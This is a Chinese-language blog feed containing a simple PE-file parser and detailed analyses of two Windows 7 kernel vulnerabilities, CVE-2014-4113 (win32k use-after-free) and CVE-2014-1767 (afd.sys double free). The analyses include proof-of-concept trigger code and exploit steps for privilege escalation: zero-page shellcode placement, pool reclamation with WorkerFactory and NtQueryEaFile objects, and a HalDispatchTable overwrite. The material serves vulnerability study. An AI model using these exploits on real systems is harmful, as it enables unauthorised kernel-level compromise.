printf("SectionAlignment: 0x%08x\n", pOH->SectionAlignment);
printf("FileAlignment: 0x%08x\n", pOH->FileAlignment);
printf("SizeOfImage: 0x%08x\n", pOH->SizeOfImage);
printf("SizeOfHeaders: 0x%08x\n", pOH->SizeOfHeaders);
printf("NumberOfRvaAndSizes: 0x%08x\n", pOH->NumberOfRvaAndSizes);

/************************************************************************/
/* SectionTable */
/************************************************************************/
int SectionNumber = 0;
DWORD SectionHeaderOffset = (DWORD)pNtH + 24 + (DWORD)pFH->SizeOfOptionalHeader; //节表位置的计算
printf("--------------------SectionTable---------------------\n");
for (SectionNumber; SectionNumber < pFH->NumberOfSections;SectionNumber++)
{
PIMAGE_SECTION_HEADER pSh = (PIMAGE_SECTION_HEADER)(SectionHeaderOffset + 40 * SectionNumber);
printf("%d 's Name is %s\n", SectionNumber + 1, pSh->Name);
printf("VirtualAddress: 0x%08X\n", (DWORD)pSh->VirtualAddress);
printf("SizeOfRawData: 0x%08X\n", (DWORD)pSh->SizeOfRawData);
printf("PointerToRawData: 0x%08X\n", (DWORD)pSh->PointerToRawData);
}
/************************************************************************/
/* ExportTable */
/************************************************************************/
printf("--------------------ExportTable----------------------\n");
DWORD Export_table_offset = RVAOffset(pNtH, (DWORD)pNtH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)ImageBase + Export_table_offset);
DWORD EXport_table_offset_Name = (DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->Name);
DWORD * pNameOfAddress = (DWORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->AddressOfNames));
DWORD * pFunctionOfAdress = (DWORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->AddressOfFunctions));
WORD * pNameOrdinalOfAddress = (WORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->AddressOfNameOrdinals));

printf("Name:%s\n", EXport_table_offset_Name);
printf("NameOfAddress:%08X\n", RVAOffset(pNtH, pExportDirectory->AddressOfNames));
printf("FunctionOfAdress:%08X\n", RVAOffset(pNtH, pExportDirectory->AddressOfFunctions));
printf("NameOrdinalOfAddress:%08X\n", RVAOffset(pNtH, pExportDirectory->AddressOfNameOrdinals));

if (pExportDirectory->NumberOfFunctions == 0)
{
puts("!!!!!!!!!!!!!!!!!NO EXPORT!!!!!!!!!!!!!!!!!!!!!");
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
}
if (hMapping != NULL)
{
CloseHandle(hMapping);
}
if (ImageBase != NULL)
{
UnmapViewOfFile(ImageBase);
}

}

printf("NumberOfNames:%d\n", pExportDirectory->NumberOfNames);
printf("NumberOfFunctions:%d\n", pExportDirectory->NumberOfFunctions);

/************************************************************************/
/* ImportTable */
/************************************************************************/
printf("--------------------ImportTable----------------------\n");

int cont = 0;
do
{
DWORD dwImportOffset = RVAOffset(pNtH, pNtH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
dwImportOffset = dwImportOffset + cont;
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + dwImportOffset);
if (pImport->OriginalFirstThunk == 0 && pImport->TimeDateStamp == 0 && pImport->ForwarderChain == 0 && pImport->Name == 0 && pImport->FirstThunk == 0)
break;
DWORD dwOriginalFirstThunk = (DWORD)ImageBase + RVAOffset(pNtH, pImport->OriginalFirstThunk);
DWORD dwFirstThunk = (DWORD)ImageBase + RVAOffset(pNtH, pImport->FirstThunk);
DWORD dwName = (DWORD)ImageBase + RVAOffset(pNtH, pImport->Name);
printf("---------Import File Name: %s\n", dwName);
if (dwOriginalFirstThunk == 0x00000000)
{
dwOriginalFirstThunk = dwFirstThunk;
}
DWORD* pdwTrunkData = (DWORD*)dwOriginalFirstThunk;
int n = 0, x = 0;
while (pdwTrunkData[n] != 0)
{
DWORD TrunkData = pdwTrunkData[n];
if (TrunkData < IMAGE_ORDINAL_FLAG32)//名字导入
{
PIMAGE_IMPORT_BY_NAME pInportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + RVAOffset(pNtH, TrunkData));
printf("ImportByName: %s\n", pInportByName->Name);
}
else
{
DWORD FunNumber = (DWORD)(TrunkData - IMAGE_ORDINAL_FLAG32);
printf("ImportByNumber: %-4d \n", FunNumber);
}
if (x != 0 && x % 3 == 0) printf("\n");
n++;
x++;
}
cont = cont + 40;
} while (1);
{
if (ImageBase)
{
UnmapViewOfFile(ImageBase);
}
if (hMapping)
{
CloseHandle(hMapping);
}
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
}
return 0;
}
}

运行效果

节表以及之前信息

12

导出表

13

导入表

14

0x03:总结

这个PE解析器虽然简单,但是自己写了之后对PE的理解和之前截然不同,后续可以对这个解析器进行各种优化,判断是否有壳之类的功能可以添加上去。

参考链接

https://blog.csdn.net/koalazb/article/details/53590404

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>PE文件可以说是在逆向的各个领域都有涉及,特别是病毒领域,如果你是一名病毒制造者,那你肯定是对PE文
CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析 https://thunderjie.github.io/2019/02/21/CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析/ 2019-02-21T02:56:10.000Z 2020-05-07T03:25:52.274Z 0x00:前言

CVE-2014-4113是一个非常经典的内核漏洞,本片文章从Poc触发,分析如何构造Exploit,Poc的下载在文末的链接之中,实验平台是Windows 7 x86 sp1本次漏洞是一个释放后重用的漏洞,深入了解这个漏洞对内核的一些利用方法会有不一样的收获

0x01:Poc分析

栈回溯

我们假装不知道Poc源码,运行Poc进行栈回溯观察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0: kd> g
Access violation - code c0000005 (!!! second chance !!!)
win32k!xxxSendMessageTimeout+0xb3:
95db93fa 3b7e08 cmp edi,dword ptr [esi+8]
2: kd> kb
# ChildEBP RetAddr Args to Child
00 92efba64 95db95c5 fffffffb 000001ed 0014fde4 win32k!xxxSendMessageTimeout+0xb3
01 92efba8c 95e392fb fffffffb 000001ed 0014fde4 win32k!xxxSendMessage+0x28
02 92efbaec 95e38c1f 92efbb0c 00000000 0014fde4 win32k!xxxHandleMenuMessages+0x582
03 92efbb38 95e3f8f1 fe9f30c8 95f1f580 00000000 win32k!xxxMNLoop+0x2c6
04 92efbba0 95e3f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 92efbc14 83e3f1ea 00020117 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
06 92efbc14 77c170b4 00020117 00000000 00000000 nt!KiFastCallEntry+0x12a
07 0014fdf8 7619483e 76182243 00020117 00000000 ntdll!KiFastSystemCallRet
08 0014fdfc 76182243 00020117 00000000 00000000 USER32!NtUserTrackPopupMenuEx+0xc
09 0014fe1c 0127139f 00020117 00000000 00000000 USER32!TrackPopupMenu+0x1b
0a 0014fedc 012715d4 00000001 002e7e38 002e7e98 Trigger!wmain+0x2af [D:\Trigger.cpp @ 224]
0b (Inline) -------- -------- -------- -------- Trigger!invoke_main+0x1c [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 90]
0c 0014ff24 76073c45 7ffdc000 0014ff70 77c337f5 Trigger!__scrt_common_main_seh+0xfa [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
0d 0014ff30 77c337f5 7ffdc000 77dd8776 00000000 kernel32!BaseThreadInitThunk+0xe
0e 0014ff70 77c337c8 0127165c 7ffdc000 00000000 ntdll!__RtlUserThreadStart+0x70
0f 0014ff88 00000000 0127165c 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b

查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2: kd> r
eax=fffffe0d ebx=000001ed ecx=95f120e4 edx=92efbb78 esi=fffffffb edi=fe509b50
eip=95db93fa esp=92efba3c ebp=92efba64 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!xxxSendMessageTimeout+0xb3:
95db93fa 3b7e08 cmp edi,dword ptr [esi+8] ds:0023:00000003=????????
2: kd> dd esi+8
00000003 ???????? ???????? ???????? ????????
00000013 ???????? ???????? ???????? ????????
00000023 ???????? ???????? ???????? ????????
00000033 ???????? ???????? ???????? ????????
00000043 ???????? ???????? ???????? ????????
00000053 ???????? ???????? ???????? ????????
00000063 ???????? ???????? ???????? ????????
00000073 ???????? ???????? ???????? ????????

我们在IDA里查看函数信息寻找一下这个 fffffffb 是如何产生的,首先找到崩溃点的位置从内向外开始分析,这里可以发现 esi 也就是我们的第一个参数 P

1
2
3
4
5
6
7
8
int __stdcall xxxSendMessageTimeout(PVOID P, CHAR MbString, WCHAR UnicodeString, void *Src, unsigned int HighLimit, unsigned int LowLimit, int a7, PVOID Entry)
{
...
if ( gptiCurrent == *((PVOID *)P + 2) ) // cmp edi, [esi+8] => 蓝屏点
{
...
}
}

我们继续追溯到 xxxSendMessage函数

1
2
3
4
5
unsigned int __stdcall xxxSendMessage(PVOID P, CHAR MbString, WCHAR UnicodeString, void *Src)
{
InterlockedIncrement(&glSendMessage);
return xxxSendMessageTimeout(P, MbString, UnicodeString, Src, 0, 0, 0, (PVOID)1);
}

继续往回追溯,我们只关注关键的代码,发现我们的第一个参数来自于xxxMNFindWindowFromPoint

1
2
3
4
5
6
7
8
int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString)
{
...
v13 = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);
...
xxxSendMessage(v13, 0xED, UnicodeString, 0);
...
}

我们来观察一下这个函数的返回值,我们的 esi 最后出问题的值就是 fffffffb(-5) 也就是说这个函数返回的是 fffffffb,我们在v5判断的下一句下断点我们可以得到这里的返回值来自xxxSendMessage函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __stdcall xxxMNFindWindowFromPoint(WCHAR UnicodeString, int a2, int a3)
{
...
v5 = *(_DWORD *)(UnicodeString + 0xC);
if ( v5 ) // 下一句下断点
{
...
v6 = xxxSendMessage(
*(PVOID *)(v4 + 0xC),
0xEB,
(unsigned int)&UnicodeString,
(void *)((unsigned __int16)a3 | ((unsigned int)a3 >> 0x10 << 0x10)));
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) )
{
LOBYTE(v7) = 1;
v6 = HMValidateHandleNoSecure(v6, v7);
}
if ( v6 )
{
*v3 = UnicodeString;
return v6;
}
}
...
}

1566460832480

我们在windbg中下断重新运行Poc之后到达了这里,我们单步查看xxxSendMessage函数的返回值发现是 fffffffb,通过观察我们发现这里传了一个1EBh的消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
3: kd> r
eax=fea2bbd0 ebx=8e9dcafc ecx=00000202 edx=00000000 esi=95f1f580 edi=fe9f30c8
eip=95e395b9 esp=8e9dca5c ebp=8e9dca90 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
win32k!xxxMNFindWindowFromPoint+0x1b:
95e395b9 8b0d58ebf195 mov ecx,dword ptr [win32k!gptiCurrent (95f1eb58)] ds:0023:95f1eb58=fdbd7580
3: kd> p
win32k!xxxMNFindWindowFromPoint+0x21:
95e395bf 81c1b4000000 add ecx,0B4h
(若干次单步)
3: kd>
win32k!xxxMNFindWindowFromPoint+0x4b:
95e395e9 68eb010000 push 1EBh // 这里传入了一个 1EBh 的消息
3: kd>
win32k!xxxMNFindWindowFromPoint+0x50:
95e395ee ff770c push dword ptr [edi+0Ch]
3: kd>
win32k!xxxMNFindWindowFromPoint+0x53:
95e395f1 e8a7fff7ff call win32k!xxxSendMessage (95db959d)
3: kd>
win32k!xxxMNFindWindowFromPoint+0x58:
95e395f6 8bf0 mov esi,eax
2: kd> r
eax=fffffffb ebx=8e9dcafc ecx=8e9dca34 edx=0013fd48 esi=95f1f580 edi=fe9f30c8
eip=95e395f6 esp=8e9dca5c ebp=8e9dca90 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!xxxMNFindWindowFromPoint+0x58:
95e395f6 8bf0 mov esi,eax

我们查询消息 1EBh 其原型是MN_FINDWINDOWFROMPOINT,我们现在知道了这个 fffffffb 产生的原因,就是xxxSendMessage函数处理1EBh 消息的返回值,因为返回的是 fffffffb ,后面cmp edi, [esi+8]语句又对 0x3 地址进行了访问就造成了蓝屏,这就是漏洞产生的原因

源码分析

我们查看一下 Poc 源码中是如何构造的,先从简单的分析,在main函数中我们可以大致得到如下代码片段,我们首先创建了一个主窗口,又新建了两个菜单并插入了新菜单项,然后我们调用了SetWindowsHookExA来拦截 1EBh 的消息,具体内容后面分析,最后我们调用了TrackPopupMenu函数触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
main()
{
main_wnd = CreateWindowA(...);
MenuOne = CreatePopupMenu();
insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
MenuTwo = CreatePopupMenu();
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
setWindowsHook = SetWindowsHookExA(
WH_CALLWNDPROC,
HookCallback,
NULL,
GetCurrentThreadId()
);
TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
0, //Horizontal position - left hand side
0, //Vertical position - Top edge
0, //Reserved field, has to be 0
main_wnd, //Handle to the Window which owns the menu
NULL //This value is always ignored...
);
}

我们来看一些有趣的细节,第一个点就是 main_wnd 中的消息处理函数,注释里面写的很清楚,这里首先判断消息是否进入了空闲状态,如果是则通过PostMessageA函数发送了三次异步消息,模拟了键盘和鼠标的操作从而达到漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/*
Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
*/
printf("WindProc called with message=%d\n", msg);
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
}
//Just pass any other messages to the default window procedure
return DefWindowProc(hwnd, msg, wParam, lParam);
}

第二个点就是我们SetWindowsHookExA拦截 0x1EB 消息,这里SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb ,最后到达win32k!xxxHandleMenuMessages函数的时候再次调用win32k!xxxSendMessage时就出现了问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
printf("Callback two called.\n");
EndMenu();
return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
/* lParam is a pointer to a CWPSTRUCT which is defined as:
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
//lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
if (*(DWORD *)(lParam + 8) == 0x1EB) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}

0x02:漏洞利用

接下来就是我们最喜欢的漏洞利用环节了,让我们首先看一个令人兴奋的片段

1
2
3
4
5
6
7
8
9
loc_95DB94E8:
push [ebp+Src]
push dword ptr [ebp+UnicodeString]
push ebx
push esi
call dword ptr [esi+60h] // call 0x5b
mov ecx, [ebp+arg_18]
test ecx, ecx
jz loc_95DB9591

这个位置是哪里呢?让我用图片给你说明,因为零页可控,所以我们只需要考虑从漏洞点走到利用点,然后在 0x5c 处放置我们的shellcode即可提权

1566471330121

期间我们有两处判断,第一处只需要赋值当前的Win32ThreadInfo结构即可,第二处判断赋值为4即可,最后放上我们的shellcode即可

1
2
3
4
5
6
7
8
9
10
11
DWORD __stdcall  ptiCurrent()
{
__asm {
mov eax, fs:18h //eax pointer to TEB
mov eax, [eax + 40h] //get pointer to Win32ThreadInfo
}
}

*(DWORD*)(0x3) = (DWORD)ptiCurrent();
*(DWORD*)(0x11) = (DWORD)4;
*(DWORD*)(0x5b) = (DWORD)&ShellCode;

最终的利用代码在 => GitHub

0x03:后记

其实这个漏洞我很早之前就分析过,但是都是分析的成品Exploit,当时不是很了解内核,分析起来非常吃力,现在重新回来分析一次又有不一样的收获,就像我现在分析CVE-2015-0057一样,毫无思绪,分析完这篇之后我会考虑分析CVE-2015-2546,最后再到CVE-2015-0057

]]>
<h1 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x00:前言"></a>0x00:前言</h1><p>CVE-2014-4113是一个非常经典的内核漏洞,本片文章从Poc触发,分析如何构造Exploit
CVE-2014-1767 Windows内核Double Free漏洞分析 https://thunderjie.github.io/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/ 2019-02-21T02:56:03.000Z 2020-05-07T03:25:41.045Z 0x00:前言

这次分析一个内核漏洞,信息量有点大,有不对的地方欢迎指正,介绍一下这个漏洞吧,2014年“最佳提权漏洞奖”得主,影响力还是很大的,实验环境的一些文件我放到GitHub上了,需要的自行下载:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767

0x01:实验环境

  • Windows 7 x86(虚拟机)
  • Windbg 10.0.17134.1 + virtualKD(双机调试)
  • Visual C++ 6.0(编译器)
  • IDA Pro(反汇编)
  • poc.exe
  • exp.exe

a.双机调试的环境如下:

环境配置

b.poc的生成(VC6.0下编译)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
DWORD targetSize=0x310;
DWORD virtualAddress=0x13371337;
DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
static DWORD inbuf1[100];
memset(inbuf1,0,sizeof(inbuf1));
inbuf1[6]=virtualAddress;
inbuf1[7]=mdlSize;
inbuf1[10]=1;
static DWORD inbuf2[100];
memset(inbuf2,0,sizeof(inbuf2));
inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2,&WSAData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
memset(&sa,0,sizeof(sa));
sa.sin_port=htons(135);
sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
sa.sin_family=AF_INET;
ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
static char outBuf[100];
DWORD bytesRet;
DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
return 0;
}

0x02:漏洞原理

该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。

知识点

Double free,内核相关知识等等

0x03:漏洞分析

1.初步分析

调试运行poc得到以下报错,崩溃原因是重复释放了一块已经被释放了的内存:
1

调用堆栈信息:
2

我们可以得到如下函数的调用关系:

afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl->nt!ExFreePoolWithTag->nt!KeBugCheck2

可以看到,出问题的是afd模块,我们查看afd模块详细信息:
3

得到以上分析后,我们需要搞清楚poc做了什么事情,首先初始化本地socket连接,然后发送了两次数据,poc一共调用了两次DeviceIoControl函数,向控制码0x1207F和0x120C3发送了数据,我们直接从这两次IO控制码分发函数入手。

2. 第一次调用分析(0x1207F)

我们首先针对nt!NtDeviceIoControlFile设置条件断点,当其在处理0x1207F时断下,根据官方文档,该函数的第六个参数是IO控制码,也就是esp+18,因此条件断点为:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x1207F){}.else{gc;}”

4

1)AfdTransmitFile 函数分析

断下来之后查看堆栈情况和调用情况:
5

可以使用wt命令跟踪后续函数调用过程,可以发现,当 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile 函数,我们直接对这个函数进行分析,这里我们直接用IDA反编译Afd中的AfdTransmitFile函数,因为该函数有两个参数(pIRP和pIoStackLocation),我们将反编译的a1,a2改名为该参数,通过 IoStackLocation 我们就可以访问用户传递的数据了:
6

通过分析,我们想要调用AfdTliGetTpInfo函数,必须满足这三个条件:

(v54 & 0xFFFFFFC8) ==0
(v54 & 0x30) != 0x30
(v54 & 0x30) != 0

2)AfdTliGetTpInfo 函数分析

满足上面条件之后,程序会调用AfdTliGetTpInfo函数,TpInfoElementCount是这个函数的参数,该函数的返回值是一个指向TpInfo结构体的指针,根据对AfdTransmitFile剩余函数部分的分析,该结构体大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct TpInfo 
{
......
TpInfoElement *pTpInfoElement ; // +0x20, TpInfoElement数组指针
......
ULONG TpInfoElementCount; // +0x28, TpInfoElement数组元素个数
......
ULONG AfdTransmitIoLength; // +0x38, 传输的默认IO长度
......
}

struct TpInfoElement {
int status; // +0x00, 状态码
ULONG length ; // +0x04, 长度
PVOID VirtualAddress ; // +0x08, 虚拟地址
PVOID *pMdl ; // +0x0C, 指向MDL内存描述符表的指针
ULONG Reserved1 ; // +0x10, 未知
ULONG Reserved2 ; // +0x14, 未知
} ;

用IDA反编译AfdTliGetTpInfo函数可以发现:
7

以上就是函数 AfdTliGetTpInfo, 函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体,函数中调用的ExAllocateFromNPagedLookasideList函数含义大致如下:

1
2
3
4
5
6
7
8
9
10
11
TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside) 
{
*(Lookaside+0x0C) ++ ;
tpInfo = InterlockedPopEntrySList( Lookaside )
if( tpInfo == NULL)
{
*(Lookaside+0x10)++;
tpInfo = AfdAllocateTpInfo(NonPagedPool,0x108 ,0xc6646641) ;
}
return tpInfo
}

AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数,我们直接分析赋值部分:

1
2
3
4
5
6
7
8
AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
……
tpInfo->pElemArray = tpInfo+0x90
tpInfo->elemCount = 0
tpInfo->isOuterMem = false
……
}

根据上面的几个函数调用关系,我们可以大致分析的出来函数的调用顺序,经过以下调用,我们可以得到一个tpInfo结构体:

ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo

现在我们拿到结构体之后继续分析AfdTransmitFile函数剩余的一些部分:
8

MmProbeAndLockPages函数锁定的无效地址是Poc中设置的值,因此触发异常,调用AfdReturnTpInfo函数:
9

在AfdReturnTpInfo函数中,由于在释放MDL资源后,未对TpInfoElement+0xC指针清空,导致后面再次调用时将被IoFreeMdl函数用于释放内存,导致双重释放漏洞。
10

3. 第二次调用分析(0x120C3)

第二次追踪控制码,程序会调用afd!AfdTransmitPackets函数,我们继续下条件断点:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x120C3){}.else{gc;}”

11

afd!AfdTransmitPackets函数仍然有两个参数pIRP和pIoStackLocation,我们用IDA反编译查看分析,需要满足以下三个条件实现AfdTdiGetTpInfo函数:
12

Poc中设置inbuf2为0xAAAAAAA个TpInfoElement,一共占0x18*0xAAAAAAA = 0xFFFFFFF0,显然申请如此大内存会触发异常调用AfdReturnTpInfo函数
13

继续运行,该函数再次调用时会触发漏洞,导致系统蓝屏
14

0x04:漏洞利用

1.思路

思路是不可能有思路的,这里当然是选择参考分析大佬的思路:
[1]. 调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
[2]. 创建某个对象,使得这个对象恰好占据刚才被 free 掉的空间,至此转化 double-free 为 use-after-free 问题
[3]. 调用 DeviceIoControl, IoControlCode =0x120c3,走入重复释放流程,释放掉刚才新申请的对象
[4]. 覆盖被释放掉的对象为可控数据(伪造对象)
[5]. 尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函数调用
[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,达到提权的效果
简而言之,就是把double free玩成了UAF,实现一个内存的写,然后hook掉该函数

2.对象的选择

由于对象的大小要等于第一次free的大小,并且这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们间接实现任意地址写任意内容。第一次释放的大小通过逆向 IoAllocateMdl可以看出,MDL 对象的大小是由 virtualAddress 和 length 共同决定的,具体大小是:

1
2
pages = ((Length & 0xFFF) + (VirtualAddress & 0xFFF) + 0xFFF)>>12 + (length>>12) 
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C

对于操作函数Siberas团队使用的是WorkerFactory函数,位置是反编译下图的exe,IDA中的函数是sub_468875
15

我们找到关键的地方分析:
16

可以看到,当参数满足一定条件(arg2 == 8 && *arg3 !=0)时,我们可以达到一个任意地址写任意数据的目的:

1
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;

我们可以设置 :

1
2
arg3 = ShellCode 
*(*object+0x10)+0x1C =(HalDispatchTable+0x4)=HaliQuerySystemInformation

这样就可以将shellcode地址写入HaliQuerySystemInformation,供后续shellcode执行。
我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能 力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作 能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数 据到它新申请的这个内存中去,说白了就是完成一次内核 Alloc 并且 memcpy 的操作,借助那篇 pdf 的思路,就是NtQueryEaFile 函数,下面是函数原型和关键的参数:
17

我们还是用IDA反编译看一下内容:
18

19

就是说内部会调用 :

1
2
p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49) 
memcpy(p, EaList)

其中 EaLength 与 EaList 都是输入参数,用户可控。当ExAllocatePoolWithQuotaTag再次调用ExAllocatePoolWithTag,其长度值会再加上4,即实际上ExAllocatePoolWithQuoTag分配的长度是EaLength+4,在对释放对象内存进行占用时,应该将对象大小objectsize – 4,才能成功占用。

3. 确定WorkerFactory对象的大小

WorkerFactory占用空间的大小我们跟踪这条链:

NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag

我们发现申请的内存大小是0xA0字节

4.exp的编写

这里借助会飞的猫大佬的exp,在VS2015,release版本下编译,提权成功,大佬的思路也非常清晰:
1)首先第一次释放前通过WorkerFactory对象的大小反推inbuf1的Length参数,并设置好inbuf2的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD targetSize = 0xA0;
DWORD virtualAddress = 0x13371337;
DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;


static DWORD inbuf1[100];
memset(inbuf1, 0, sizeof(inbuf1));
inbuf1[6] = virtualAddress;
inbuf1[7] = Length;


static DWORD inbuf2[100];
memset(inbuf2, 0, sizeof(inbuf2));
inbuf2[0] = 1;
inbuf2[1] = 0x0AAAAAAA;

2)创建一个Workerfactory对象

1
2
3
4
5
6
7
8
9
//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -1;
}

3)第一次释放

1
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);

4)第二次释放

1
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);

5)伪造对象并拷贝shellcode执行

1
2
3
4
5
6
7
8
9
int MyNtSetInformationWorkerFactory()
{
